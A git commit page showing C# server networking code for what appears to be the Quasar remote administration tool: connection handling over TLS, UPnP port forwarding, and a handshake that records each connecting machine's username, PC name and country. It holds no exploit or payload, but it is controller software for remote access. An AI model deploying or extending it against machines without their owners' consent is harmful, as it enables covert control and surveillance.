initial commit

This commit is contained in:
i2p
2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
+232
View File
@@ -0,0 +1,232 @@
using System;
using System.Collections.Generic;
namespace Quasar.Server.Networking
{
/// <summary>
/// Implements a pool of byte arrays to improve allocation performance when parsing data.
/// </summary>
/// <threadsafety>This type is safe for multi-threaded operations.</threadsafety>
public class BufferPool
{
private readonly int _bufferLength;
private int _bufferCount;
private readonly Stack<byte[]> _buffers;
/// <summary>
/// Informs listeners when a new buffer beyond the initial length has been allocated.
/// </summary>
public event EventHandler NewBufferAllocated;
/// <summary>
/// Fires the <see>NewBufferAllocated</see> event.
/// </summary>
/// <param name="e">The event arguments.</param>
protected virtual void OnNewBufferAllocated(EventArgs e)
{
var handler = NewBufferAllocated;
if (handler != null)
handler(this, e);
}
/// <summary>
/// Informs listeners that a buffer has been allocated.
/// </summary>
public event EventHandler BufferRequested;
/// <summary>
/// Raises the <see>BufferRequested</see> event.
/// </summary>
/// <param name="e">The event arguments.</param>
protected virtual void OnBufferRequested(EventArgs e)
{
var handler =BufferRequested;
if (handler != null)
handler(this, e);
}
/// <summary>
/// Informs listeners that a buffer has been returned.
/// </summary>
public event EventHandler BufferReturned;
/// <summary>
/// Raises the <see>BufferReturned</see> event.
/// </summary>
/// <param name="e">The event arguments.</param>
protected virtual void OnBufferReturned(EventArgs e)
{
var handler = BufferReturned;
if (handler != null)
handler(this, e);
}
/// <summary>
/// Gets the size of the buffers allocated from this pool.
/// </summary>
public int BufferLength
{
get { return _bufferLength; }
}
/// <summary>
/// Gets the maximum number of buffers available at any given time from this pool.
/// </summary>
public int MaxBufferCount
{
get { return _bufferCount; }
}
/// <summary>
/// Gets the current number of buffers available for use.
/// </summary>
public int BuffersAvailable => _buffers.Count;
/// <summary>
/// Gets or sets whether to zero the contents of a buffer when it is returned.
/// </summary>
public bool ClearOnReturn { get; set; }
/// <summary>
/// Creates a new buffer pool with the specified name, buffer sizes, and buffer count.
/// </summary>
/// <param name="baseBufferLength">The size of the preallocated buffers.</param>
/// <param name="baseBufferCount">The number of preallocated buffers that should be available.</param>
/// <exception cref="ArgumentOutOfRangeException">Thrown if <paramref name="baseBufferLength"/> or
/// <paramref name="baseBufferCount"/> are zero or negative.</exception>
public BufferPool(int baseBufferLength, int baseBufferCount)
{
if (baseBufferLength <= 0)
throw new ArgumentOutOfRangeException("baseBufferLength", baseBufferLength, "Buffer length must be a positive integer value.");
if (baseBufferCount <= 0)
throw new ArgumentOutOfRangeException("baseBufferCount", baseBufferCount, "Buffer count must be a positive integer value.");
_bufferLength = baseBufferLength;
_bufferCount = baseBufferCount;
_buffers = new Stack<byte[]>(baseBufferCount);
for (int i = 0; i < baseBufferCount; i++)
{
_buffers.Push(new byte[baseBufferLength]);
}
}
/// <summary>
/// Gets a buffer from the available pool if one is available, or else allocates a new one.
/// </summary>
/// <remarks>
/// <para>Buffers retrieved with this method should be returned to the pool by using the
/// <see>ReturnBuffer</see> method.</para>
/// </remarks>
/// <returns>A <see>byte</see>[] from the pool.</returns>
public byte[] GetBuffer()
{
lock (_buffers)
{
if (_buffers.Count > 0)
{
byte[] buffer = _buffers.Pop();
return buffer;
}
}
return AllocateNewBuffer();
}
private byte[] AllocateNewBuffer()
{
byte[] newBuffer = new byte[_bufferLength];
_bufferCount++;
OnNewBufferAllocated(EventArgs.Empty);
return newBuffer;
}
/// <summary>
/// Returns the specified buffer to the pool.
/// </summary>
/// <returns><see langword="true" /> if the buffer belonged to this pool and was freed; otherwise <see langword="false" />.</returns>
/// <remarks>
/// <para>If the <see>ClearOnFree</see> property is <see langword="true" />, then the buffer will be zeroed before
/// being restored to the pool.</para>
/// </remarks>
/// <param name="buffer">The buffer to return to the pool.</param>
/// <exception cref="ArgumentNullException">Thrown if <paramref name="buffer" /> is <see langword="null" />.</exception>
public bool ReturnBuffer(byte[] buffer)
{
if (buffer == null)
throw new ArgumentNullException("buffer");
if (buffer.Length != _bufferLength)
return false;
if (ClearOnReturn)
Array.Clear(buffer, 0, buffer.Length);
lock (_buffers)
{
if (!_buffers.Contains(buffer))
_buffers.Push(buffer);
}
return true;
}
/// <summary>
/// Increases the number of buffers available in the pool by a given size.
/// </summary>
/// <param name="buffersToAdd">The number of buffers to preallocate.</param>
/// <exception cref="OutOfMemoryException">Thrown if the system is unable to preallocate the requested number of buffers.</exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown if <paramref name="buffersToAdd"/> is less than or equal to 0.</exception>
/// <remarks>
/// <para>This method does not cause the <see>NewBufferAllocated</see> event to be raised.</para>
/// </remarks>
public void IncreaseBufferCount(int buffersToAdd)
{
if (buffersToAdd <= 0)
throw new ArgumentOutOfRangeException("buffersToAdd", buffersToAdd, "The number of buffers to add must be a nonnegative, nonzero integer.");
List<byte[]> newBuffers = new List<byte[]>(buffersToAdd);
for (int i = 0; i < buffersToAdd; i++)
{
newBuffers.Add(new byte[_bufferLength]);
}
lock (_buffers)
{
_bufferCount += buffersToAdd;
for (int i = 0; i < buffersToAdd; i++)
{
_buffers.Push(newBuffers[i]);
}
}
}
/// <summary>
/// Removes up to the specified number of buffers from the pool.
/// </summary>
/// <param name="buffersToRemove">The number of buffers to attempt to remove.</param>
/// <returns>The number of buffers actually removed.</returns>
/// <remarks>
/// <para>The number of buffers removed may actually be lower than the number requested if the specified number of buffers are not free.
/// For example, if the number of buffers free is 15, and the callee requests the removal of 20 buffers, only 15 will be freed, and so the
/// returned value will be 15.</para>
/// </remarks>
/// <exception cref="ArgumentOutOfRangeException">Thrown if <paramref name="buffersToRemove"/> is less than or equal to 0.</exception>
public int DecreaseBufferCount(int buffersToRemove)
{
if (buffersToRemove <= 0)
throw new ArgumentOutOfRangeException("buffersToRemove", buffersToRemove, "The number of buffers to remove must be a nonnegative, nonzero integer.");
int numRemoved = 0;
lock (_buffers)
{
for (int i = 0; i < buffersToRemove && _buffers.Count > 0; i++)
{
_buffers.Pop();
numRemoved++;
_bufferCount--;
}
}
return numRemoved;
}
}
}
+590
View File
@@ -0,0 +1,590 @@
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Security;
using System.Threading;
namespace Quasar.Server.Networking
{
public class Client : IEquatable<Client>, ISender
{
/// <summary>
/// Occurs when the state of the client changes.
/// </summary>
public event ClientStateEventHandler ClientState;
/// <summary>
/// Represents the method that will handle a change in a client's state.
/// </summary>
/// <param name="s">The client which changed its state.</param>
/// <param name="connected">The new connection state of the client.</param>
public delegate void ClientStateEventHandler(Client s, bool connected);
/// <summary>
/// Fires an event that informs subscribers that the state of the client has changed.
/// </summary>
/// <param name="connected">The new connection state of the client.</param>
private void OnClientState(bool connected)
{
if (Connected == connected) return;
Connected = connected;
var handler = ClientState;
handler?.Invoke(this, connected);
}
/// <summary>
/// Occurs when a message is received from the client.
/// </summary>
public event ClientReadEventHandler ClientRead;
/// <summary>
/// Represents the method that will handle a message received from the client.
/// </summary>
/// <param name="s">The client that has received the message.</param>
/// <param name="message">The message that received by the client.</param>
/// <param name="messageLength">The length of the message.</param>
public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);
/// <summary>
/// Fires an event that informs subscribers that a message has been
/// received from the client.
/// </summary>
/// <param name="message">The message that received by the client.</param>
/// <param name="messageLength">The length of the message.</param>
private void OnClientRead(IMessage message, int messageLength)
{
var handler = ClientRead;
handler?.Invoke(this, message, messageLength);
}
/// <summary>
/// Occurs when a message is sent by the client.
/// </summary>
public event ClientWriteEventHandler ClientWrite;
/// <summary>
/// Represents the method that will handle the sent message.
/// </summary>
/// <param name="s">The client that has sent the message.</param>
/// <param name="message">The message that has been sent by the client.</param>
/// <param name="messageLength">The length of the message.</param>
public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength);
/// <summary>
/// Fires an event that informs subscribers that the client has sent a message.
/// </summary>
/// <param name="message">The message that has been sent by the client.</param>
/// <param name="messageLength">The length of the message.</param>
private void OnClientWrite(IMessage message, int messageLength)
{
var handler = ClientWrite;
handler?.Invoke(this, message, messageLength);
}
public static bool operator ==(Client c1, Client c2)
{
if (ReferenceEquals(c1, null))
return ReferenceEquals(c2, null);
return c1.Equals(c2);
}
public static bool operator !=(Client c1, Client c2)
{
return !(c1 == c2);
}
/// <summary>
/// Checks whether the clients are equal.
/// </summary>
/// <param name="other">Client to compare with.</param>
/// <returns>True if equal, else False.</returns>
public bool Equals(Client other)
{
if (ReferenceEquals(null, other)) return false;
if (ReferenceEquals(this, other)) return true;
try
{
// the port is always unique for each client
return this.EndPoint.Port.Equals(other.EndPoint.Port);
}
catch (Exception)
{
return false;
}
}
public override bool Equals(object obj)
{
return this.Equals(obj as Client);
}
/// <summary>
/// Returns the hashcode for this instance.
/// </summary>
/// <returns>A hash code for the current instance.</returns>
public override int GetHashCode()
{
return this.EndPoint.GetHashCode();
}
/// <summary>
/// The type of the message received.
/// </summary>
public enum ReceiveType
{
Header,
Payload
}
/// <summary>
/// The stream used for communication.
/// </summary>
private readonly SslStream _stream;
/// <summary>
/// The buffer pool to hold the receive-buffers for the clients.
/// </summary>
private readonly BufferPool _bufferPool;
/// <summary>
/// The queue which holds messages to send.
/// </summary>
private readonly Queue<IMessage> _sendBuffers = new Queue<IMessage>();
/// <summary>
/// Determines if the client is currently sending messages.
/// </summary>
private bool _sendingMessages;
/// <summary>
/// Lock object for the sending messages boolean.
/// </summary>
private readonly object _sendingMessagesLock = new object();
/// <summary>
/// The queue which holds buffers to read.
/// </summary>
private readonly Queue<byte[]> _readBuffers = new Queue<byte[]>();
/// <summary>
/// Determines if the client is currently reading messages.
/// </summary>
private bool _readingMessages;
/// <summary>
/// Lock object for the reading messages boolean.
/// </summary>
private readonly object _readingMessagesLock = new object();
// receive info
private int _readOffset;
private int _writeOffset;
private int _readableDataLen;
private int _payloadLen;
private ReceiveType _receiveState = ReceiveType.Header;
/// <summary>
/// The time when the client connected.
/// </summary>
public DateTime ConnectedTime { get; }
/// <summary>
/// The connection state of the client.
/// </summary>
public bool Connected { get; private set; }
/// <summary>
/// Determines if the client is identified.
/// </summary>
public bool Identified { get; set; }
/// <summary>
/// Stores values of the user.
/// </summary>
public UserState Value { get; set; }
/// <summary>
/// The Endpoint which the client is connected to.
/// </summary>
public IPEndPoint EndPoint { get; }
/// <summary>
/// The buffer for the client's incoming messages.
/// </summary>
private readonly byte[] _readBuffer;
/// <summary>
/// The buffer for the client's incoming payload.
/// </summary>
private byte[] _payloadBuffer;
/// <summary>
/// The header size in bytes.
/// </summary>
private const int HeaderSize = 4; // 4 B
/// <summary>
/// The maximum size of a message in bytes.
/// </summary>
private const int MaxMessageSize = (1024 * 1024) * 5; // 5 MB
/// <summary>
/// The mutex prevents multiple simultaneous write operations on the <see cref="_stream"/>.
/// </summary>
private readonly Mutex _singleWriteMutex = new Mutex();
public Client(BufferPool bufferPool, SslStream stream, IPEndPoint endPoint)
{
try
{
Identified = false;
Value = new UserState();
EndPoint = endPoint;
ConnectedTime = DateTime.UtcNow;
_stream = stream;
_bufferPool = bufferPool;
_readBuffer = _bufferPool.GetBuffer();
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
OnClientState(true);
}
catch (Exception)
{
Disconnect();
}
}
private void AsyncReceive(IAsyncResult result)
{
int bytesTransferred;
try
{
bytesTransferred = _stream.EndRead(result);
if (bytesTransferred <= 0)
throw new Exception("no bytes transferred");
}
catch (NullReferenceException)
{
return;
}
catch (ObjectDisposedException)
{
return;
}
catch (Exception)
{
Disconnect();
return;
}
byte[] received = new byte[bytesTransferred];
try
{
Array.Copy(_readBuffer, received, received.Length);
}
catch (Exception)
{
Disconnect();
return;
}
lock (_readBuffers)
{
_readBuffers.Enqueue(received);
}
lock (_readingMessagesLock)
{
if (!_readingMessages)
{
_readingMessages = true;
ThreadPool.QueueUserWorkItem(AsyncReceive);
}
}
try
{
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
}
catch (ObjectDisposedException)
{
}
catch (Exception)
{
Disconnect();
}
}
private void AsyncReceive(object state)
{
while (true)
{
byte[] readBuffer;
lock (_readBuffers)
{
if (_readBuffers.Count == 0)
{
lock (_readingMessagesLock)
{
_readingMessages = false;
}
return;
}
readBuffer = _readBuffers.Dequeue();
}
_readableDataLen += readBuffer.Length;
bool process = true;
while (process)
{
switch (_receiveState)
{
case ReceiveType.Header:
{
if (_payloadBuffer == null)
_payloadBuffer = new byte[HeaderSize];
if (_readableDataLen + _writeOffset >= HeaderSize)
{
// completely received header
int headerLength = HeaderSize - _writeOffset;
try
{
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength);
_payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset);
if (_payloadLen <= 0 || _payloadLen > MaxMessageSize)
throw new Exception("invalid header");
// try to re-use old payload buffers which fit
if (_payloadBuffer.Length <= _payloadLen + HeaderSize)
Array.Resize(ref _payloadBuffer, _payloadLen + HeaderSize);
}
catch (Exception)
{
process = false;
Disconnect();
break;
}
_readableDataLen -= headerLength;
_writeOffset += headerLength;
_readOffset += headerLength;
_receiveState = ReceiveType.Payload;
}
else // _readableDataLen + _writeOffset < HeaderSize
{
// received only a part of the header
try
{
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen);
}
catch (Exception)
{
process = false;
Disconnect();
break;
}
_readOffset += _readableDataLen;
_writeOffset += _readableDataLen;
process = false;
// nothing left to process
}
break;
}
case ReceiveType.Payload:
{
int length = (_writeOffset - HeaderSize + _readableDataLen) >= _payloadLen
? _payloadLen - (_writeOffset - HeaderSize)
: _readableDataLen;
try
{
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length);
}
catch (Exception)
{
process = false;
Disconnect();
break;
}
_writeOffset += length;
_readOffset += length;
_readableDataLen -= length;
if (_writeOffset - HeaderSize == _payloadLen)
{
// completely received payload
try
{
using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HeaderSize, false))
{
IMessage message = pr.ReadMessage();
OnClientRead(message, _payloadBuffer.Length);
}
}
catch (Exception)
{
process = false;
Disconnect();
break;
}
_receiveState = ReceiveType.Header;
_payloadLen = 0;
_writeOffset = 0;
}
if (_readableDataLen == 0)
process = false;
break;
}
}
}
_readOffset = 0;
_readableDataLen = 0;
}
}
/// <summary>
/// Sends a message to the connected client.
/// </summary>
/// <typeparam name="T">The type of the message.</typeparam>
/// <param name="message">The message to be sent.</param>
public void Send<T>(T message) where T : IMessage
{
if (!Connected || message == null) return;
lock (_sendBuffers)
{
_sendBuffers.Enqueue(message);
lock (_sendingMessagesLock)
{
if (_sendingMessages) return;
_sendingMessages = true;
ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
}
}
}
/// <summary>
/// Sends a message to the connected client.
/// Blocks the thread until the message has been sent.
/// </summary>
/// <typeparam name="T">The type of the message.</typeparam>
/// <param name="message">The message to be sent.</param>
public void SendBlocking<T>(T message) where T : IMessage
{
if (!Connected || message == null) return;
SafeSendMessage(message);
}
/// <summary>
/// Safely sends a message and prevents multiple simultaneous
/// write operations on the <see cref="_stream"/>.
/// </summary>
/// <param name="message">The message to send.</param>
private void SafeSendMessage(IMessage message)
{
try
{
_singleWriteMutex.WaitOne();
using (PayloadWriter pw = new PayloadWriter(_stream, true))
{
OnClientWrite(message, pw.WriteMessage(message));
}
}
catch (Exception)
{
Disconnect();
SendCleanup(true);
}
finally
{
_singleWriteMutex.ReleaseMutex();
}
}
private void ProcessSendBuffers(object state)
{
while (true)
{
if (!Connected)
{
SendCleanup(true);
return;
}
IMessage message;
lock (_sendBuffers)
{
if (_sendBuffers.Count == 0)
{
SendCleanup();
return;
}
message = _sendBuffers.Dequeue();
}
SafeSendMessage(message);
}
}
private void SendCleanup(bool clear = false)
{
lock (_sendingMessagesLock)
{
_sendingMessages = false;
}
if (!clear) return;
lock (_sendBuffers)
{
_sendBuffers.Clear();
}
}
/// <summary>
/// Disconnect the client from the server and dispose of
/// resources associated with the client.
/// </summary>
public void Disconnect()
{
if (_stream != null)
{
_stream.Close();
_readOffset = 0;
_writeOffset = 0;
_readableDataLen = 0;
_payloadLen = 0;
_payloadBuffer = null;
_receiveState = ReceiveType.Header;
_singleWriteMutex.Dispose();
_bufferPool.ReturnBuffer(_readBuffer);
}
OnClientState(false);
}
}
}
+164
View File
@@ -0,0 +1,164 @@
using Quasar.Common.Cryptography;
using Quasar.Common.Messages;
using System;
using System.Linq;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
namespace Quasar.Server.Networking
{
public class QuasarServer : Server
{
/// <summary>
/// Gets the clients currently connected and identified to the server.
/// </summary>
public Client[] ConnectedClients
{
get { return Clients.Where(c => c != null && c.Identified).ToArray(); }
}
/// <summary>
/// Occurs when a client connected.
/// </summary>
public event ClientConnectedEventHandler ClientConnected;
/// <summary>
/// Represents the method that will handle the connected client.
/// </summary>
/// <param name="client">The connected client.</param>
public delegate void ClientConnectedEventHandler(Client client);
/// <summary>
/// Fires an event that informs subscribers that the client is connected.
/// </summary>
/// <param name="client">The connected client.</param>
private void OnClientConnected(Client client)
{
if (ProcessingDisconnect || !Listening) return;
var handler = ClientConnected;
handler?.Invoke(client);
}
/// <summary>
/// Occurs when a client disconnected.
/// </summary>
public event ClientDisconnectedEventHandler ClientDisconnected;
/// <summary>
/// Represents the method that will handle the disconnected client.
/// </summary>
/// <param name="client">The disconnected client.</param>
public delegate void ClientDisconnectedEventHandler(Client client);
/// <summary>
/// Fires an event that informs subscribers that the client is disconnected.
/// </summary>
/// <param name="client">The disconnected client.</param>
private void OnClientDisconnected(Client client)
{
if (ProcessingDisconnect || !Listening) return;
var handler = ClientDisconnected;
handler?.Invoke(client);
}
/// <summary>
/// Constructor, initializes required objects and subscribes to events of the server.
/// </summary>
/// <param name="serverCertificate">The server certificate.</param>
public QuasarServer(X509Certificate2 serverCertificate) : base(serverCertificate)
{
base.ClientState += OnClientState;
base.ClientRead += OnClientRead;
}
/// <summary>
/// Decides if the client connected or disconnected.
/// </summary>
/// <param name="server">The server the client is connected to.</param>
/// <param name="client">The client which changed its state.</param>
/// <param name="connected">True if the client connected, false if disconnected.</param>
private void OnClientState(Server server, Client client, bool connected)
{
if (!connected)
{
if (client.Identified)
{
OnClientDisconnected(client);
}
}
}
/// <summary>
/// Forwards received messages from the client to the MessageHandler.
/// </summary>
/// <param name="server">The server the client is connected to.</param>
/// <param name="client">The client which has received the message.</param>
/// <param name="message">The received message.</param>
private void OnClientRead(Server server, Client client, IMessage message)
{
if (!client.Identified)
{
if (message.GetType() == typeof (ClientIdentification))
{
client.Identified = IdentifyClient(client, (ClientIdentification) message);
if (client.Identified)
{
client.Send(new ClientIdentificationResult {Result = true}); // finish handshake
OnClientConnected(client);
}
else
{
// identification failed
client.Disconnect();
}
}
else
{
// no messages of other types are allowed as long as client is in unidentified state
client.Disconnect();
}
return;
}
MessageHandler.Process(client, message);
}
private bool IdentifyClient(Client client, ClientIdentification packet)
{
if (packet.Id.Length != 64)
return false;
client.Value.Version = packet.Version;
client.Value.OperatingSystem = packet.OperatingSystem;
client.Value.AccountType = packet.AccountType;
client.Value.Country = packet.Country;
client.Value.CountryCode = packet.CountryCode;
client.Value.Id = packet.Id;
client.Value.Username = packet.Username;
client.Value.PcName = packet.PcName;
client.Value.Tag = packet.Tag;
client.Value.ImageIndex = packet.ImageIndex;
client.Value.EncryptionKey = packet.EncryptionKey;
// TODO: Refactor tooltip
//if (Settings.ShowToolTip)
// client.Send(new GetSystemInfo());
#if !DEBUG
try
{
var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key;
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)),
CryptoConfig.MapNameToOID("SHA256"), packet.Signature);
}
catch (Exception)
{
return false;
}
#else
return true;
#endif
}
}
}
+418
View File
@@ -0,0 +1,418 @@
using Quasar.Common.Extensions;
using Quasar.Common.Messages;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
namespace Quasar.Server.Networking
{
public class Server
{
/// <summary>
/// Occurs when the state of the server changes.
/// </summary>
public event ServerStateEventHandler ServerState;
/// <summary>
/// Represents a method that will handle a change in the server's state.
/// </summary>
/// <param name="s">The server which changed its state.</param>
/// <param name="listening">The new listening state of the server.</param>
/// <param name="port">The port the server is listening on, if listening is True.</param>
public delegate void ServerStateEventHandler(Server s, bool listening, ushort port);
/// <summary>
/// Fires an event that informs subscribers that the server has changed it's state.
/// </summary>
/// <param name="listening">The new listening state of the server.</param>
private void OnServerState(bool listening)
{
if (Listening == listening) return;
Listening = listening;
var handler = ServerState;
handler?.Invoke(this, listening, Port);
}
/// <summary>
/// Occurs when the state of a client changes.
/// </summary>
public event ClientStateEventHandler ClientState;
/// <summary>
/// Represents a method that will handle a change in a client's state.
/// </summary>
/// <param name="s">The server, the client is connected to.</param>
/// <param name="c">The client which changed its state.</param>
/// <param name="connected">The new connection state of the client.</param>
public delegate void ClientStateEventHandler(Server s, Client c, bool connected);
/// <summary>
/// Fires an event that informs subscribers that a client has changed its state.
/// </summary>
/// <param name="c">The client which changed its state.</param>
/// <param name="connected">The new connection state of the client.</param>
private void OnClientState(Client c, bool connected)
{
if (!connected)
RemoveClient(c);
var handler = ClientState;
handler?.Invoke(this, c, connected);
}
/// <summary>
/// Occurs when a message is received by a client.
/// </summary>
public event ClientReadEventHandler ClientRead;
/// <summary>
/// Represents a method that will handle a message received from a client.
/// </summary>
/// <param name="s">The server, the client is connected to.</param>
/// <param name="c">The client that has received the message.</param>
/// <param name="message">The message that received by the client.</param>
public delegate void ClientReadEventHandler(Server s, Client c, IMessage message);
/// <summary>
/// Fires an event that informs subscribers that a message has been
/// received from the client.
/// </summary>
/// <param name="c">The client that has received the message.</param>
/// <param name="message">The message that received by the client.</param>
/// <param name="messageLength">The length of the message.</param>
private void OnClientRead(Client c, IMessage message, int messageLength)
{
BytesReceived += messageLength;
var handler = ClientRead;
handler?.Invoke(this, c, message);
}
/// <summary>
/// Occurs when a message is sent by a client.
/// </summary>
public event ClientWriteEventHandler ClientWrite;
/// <summary>
/// Represents the method that will handle the sent message by a client.
/// </summary>
/// <param name="s">The server, the client is connected to.</param>
/// <param name="c">The client that has sent the message.</param>
/// <param name="message">The message that has been sent by the client.</param>
public delegate void ClientWriteEventHandler(Server s, Client c, IMessage message);
/// <summary>
/// Fires an event that informs subscribers that the client has sent a message.
/// </summary>
/// <param name="c">The client that has sent the message.</param>
/// <param name="message">The message that has been sent by the client.</param>
/// <param name="messageLength">The length of the message.</param>
private void OnClientWrite(Client c, IMessage message, int messageLength)
{
BytesSent += messageLength;
var handler = ClientWrite;
handler?.Invoke(this, c, message);
}
/// <summary>
/// The port on which the server is listening.
/// </summary>
public ushort Port { get; private set; }
/// <summary>
/// The total amount of received bytes.
/// </summary>
public long BytesReceived { get; set; }
/// <summary>
/// The total amount of sent bytes.
/// </summary>
public long BytesSent { get; set; }
/// <summary>
/// The buffer size for receiving data in bytes.
/// </summary>
private const int BufferSize = 1024 * 16; // 16 KB
/// <summary>
/// The keep-alive time in ms.
/// </summary>
private const uint KeepAliveTime = 25000; // 25 s
/// <summary>
/// The keep-alive interval in ms.
/// </summary>
private const uint KeepAliveInterval = 25000; // 25 s
/// <summary>
/// The buffer pool to hold the receive-buffers for the clients.
/// </summary>
private readonly BufferPool _bufferPool = new BufferPool(BufferSize, 1) { ClearOnReturn = false };
/// <summary>
/// The listening state of the server. True if listening, else False.
/// </summary>
public bool Listening { get; private set; }
/// <summary>
/// Gets the clients currently connected to the server.
/// </summary>
protected Client[] Clients
{
get
{
lock (_clientsLock)
{
return _clients.ToArray();
}
}
}
/// <summary>
/// Handle of the Server Socket.
/// </summary>
private Socket _handle;
/// <summary>
/// The server certificate.
/// </summary>
protected readonly X509Certificate2 ServerCertificate;
/// <summary>
/// The event to accept new connections asynchronously.
/// </summary>
private SocketAsyncEventArgs _item;
/// <summary>
/// List of the clients connected to the server.
/// </summary>
private readonly List<Client> _clients = new List<Client>();
/// <summary>
/// The UPnP service used to discover, create and delete port mappings.
/// </summary>
private UPnPService _UPnPService;
/// <summary>
/// Lock object for the list of clients.
/// </summary>
private readonly object _clientsLock = new object();
/// <summary>
/// Determines if the server is currently processing Disconnect method.
/// </summary>
protected bool ProcessingDisconnect { get; set; }
/// <summary>
/// Constructor of the server, initializes serializer types.
/// </summary>
/// <param name="serverCertificate">The server certificate.</param>
protected Server(X509Certificate2 serverCertificate)
{
ServerCertificate = serverCertificate;
TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
}
/// <summary>
/// Begins listening for clients.
/// </summary>
/// <param name="port">Port to listen for clients on.</param>
/// <param name="ipv6">If set to true, use a dual-stack socket to allow IPv4/6 connections. Otherwise use IPv4-only socket.</param>
/// <param name="enableUPnP">Enables the automatic UPnP port forwarding.</param>
public void Listen(ushort port, bool ipv6, bool enableUPnP)
{
if (Listening) return;
this.Port = port;
if (enableUPnP)
{
_UPnPService = new UPnPService();
_UPnPService.CreatePortMapAsync(port);
}
if (Socket.OSSupportsIPv6 && ipv6)
{
_handle = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp);
_handle.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, 0);
_handle.Bind(new IPEndPoint(IPAddress.IPv6Any, port));
}
else
{
_handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
_handle.Bind(new IPEndPoint(IPAddress.Any, port));
}
_handle.Listen(1000);
OnServerState(true);
_item = new SocketAsyncEventArgs();
_item.Completed += AcceptClient;
if (!_handle.AcceptAsync(_item))
AcceptClient(this, _item);
}
/// <summary>
/// Accepts and begins authenticating an incoming client.
/// </summary>
/// <param name="s">The sender.</param>
/// <param name="e">Asynchronous socket event.</param>
private void AcceptClient(object s, SocketAsyncEventArgs e)
{
try
{
do
{
switch (e.SocketError)
{
case SocketError.Success:
SslStream sslStream = null;
try
{
Socket clientSocket = e.AcceptSocket;
clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime);
sslStream = new SslStream(new NetworkStream(clientSocket, true), false);
// the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket
sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls12, false, EndAuthenticateClient,
new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint});
}
catch (Exception)
{
sslStream?.Close();
}
break;
case SocketError.ConnectionReset:
break;
default:
throw new SocketException((int) e.SocketError);
}
e.AcceptSocket = null; // enable reuse
} while (!_handle.AcceptAsync(e));
}
catch (ObjectDisposedException)
{
}
catch (Exception)
{
Disconnect();
}
}
private class PendingClient
{
public SslStream Stream { get; set; }
public IPEndPoint EndPoint { get; set; }
}
/// <summary>
/// Ends the authentication process of a newly connected client.
/// </summary>
/// <param name="ar">The status of the asynchronous operation.</param>
private void EndAuthenticateClient(IAsyncResult ar)
{
var con = (PendingClient) ar.AsyncState;
try
{
con.Stream.EndAuthenticateAsServer(ar);
Client client = new Client(_bufferPool, con.Stream, con.EndPoint);
AddClient(client);
OnClientState(client, true);
}
catch (Exception)
{
con.Stream.Close();
}
}
/// <summary>
/// Adds a connected client to the list of clients,
/// subscribes to the client's events.
/// </summary>
/// <param name="client">The client to add.</param>
private void AddClient(Client client)
{
lock (_clientsLock)
{
client.ClientState += OnClientState;
client.ClientRead += OnClientRead;
client.ClientWrite += OnClientWrite;
_clients.Add(client);
}
}
/// <summary>
/// Removes a disconnected client from the list of clients,
/// unsubscribes from the client's events.
/// </summary>
/// <param name="client">The client to remove.</param>
private void RemoveClient(Client client)
{
if (ProcessingDisconnect) return;
lock (_clientsLock)
{
client.ClientState -= OnClientState;
client.ClientRead -= OnClientRead;
client.ClientWrite -= OnClientWrite;
_clients.Remove(client);
}
}
/// <summary>
/// Disconnect the server from all of the clients and discontinue
/// listening (placing the server in an "off" state).
/// </summary>
public void Disconnect()
{
if (ProcessingDisconnect) return;
ProcessingDisconnect = true;
if (_handle != null)
{
_handle.Close();
_handle = null;
}
if (_item != null)
{
_item.Dispose();
_item = null;
}
if (_UPnPService != null)
{
_UPnPService.DeletePortMapAsync(Port);
_UPnPService = null;
}
lock (_clientsLock)
{
while (_clients.Count != 0)
{
try
{
_clients[0].Disconnect();
_clients[0].ClientState -= OnClientState;
_clients[0].ClientRead -= OnClientRead;
_clients[0].ClientWrite -= OnClientWrite;
_clients.RemoveAt(0);
}
catch
{
}
}
}
ProcessingDisconnect = false;
OnServerState(false);
}
}
}
+77
View File
@@ -0,0 +1,77 @@
using Open.Nat;
using System;
using System.Collections.Generic;
using System.Threading;
namespace Quasar.Server.Networking
{
public class UPnPService
{
/// <summary>
/// Used to keep track of all created mappings.
/// </summary>
private readonly Dictionary<int, Mapping> _mappings = new Dictionary<int, Mapping>();
/// <summary>
/// The discovered UPnP device.
/// </summary>
private NatDevice _device;
/// <summary>
/// The NAT discoverer used to discover NAT-UPnP devices.
/// </summary>
private NatDiscoverer _discoverer;
/// <summary>
/// Initializes the discovery of new UPnP devices.
/// </summary>
public UPnPService()
{
_discoverer = new NatDiscoverer();
}
/// <summary>
/// Creates a new port mapping on the UPnP device.
/// </summary>
/// <param name="port">The port to map.</param>
public async void CreatePortMapAsync(int port)
{
try
{
var cts = new CancellationTokenSource(10000);
_device = await _discoverer.DiscoverDeviceAsync(PortMapper.Upnp, cts);
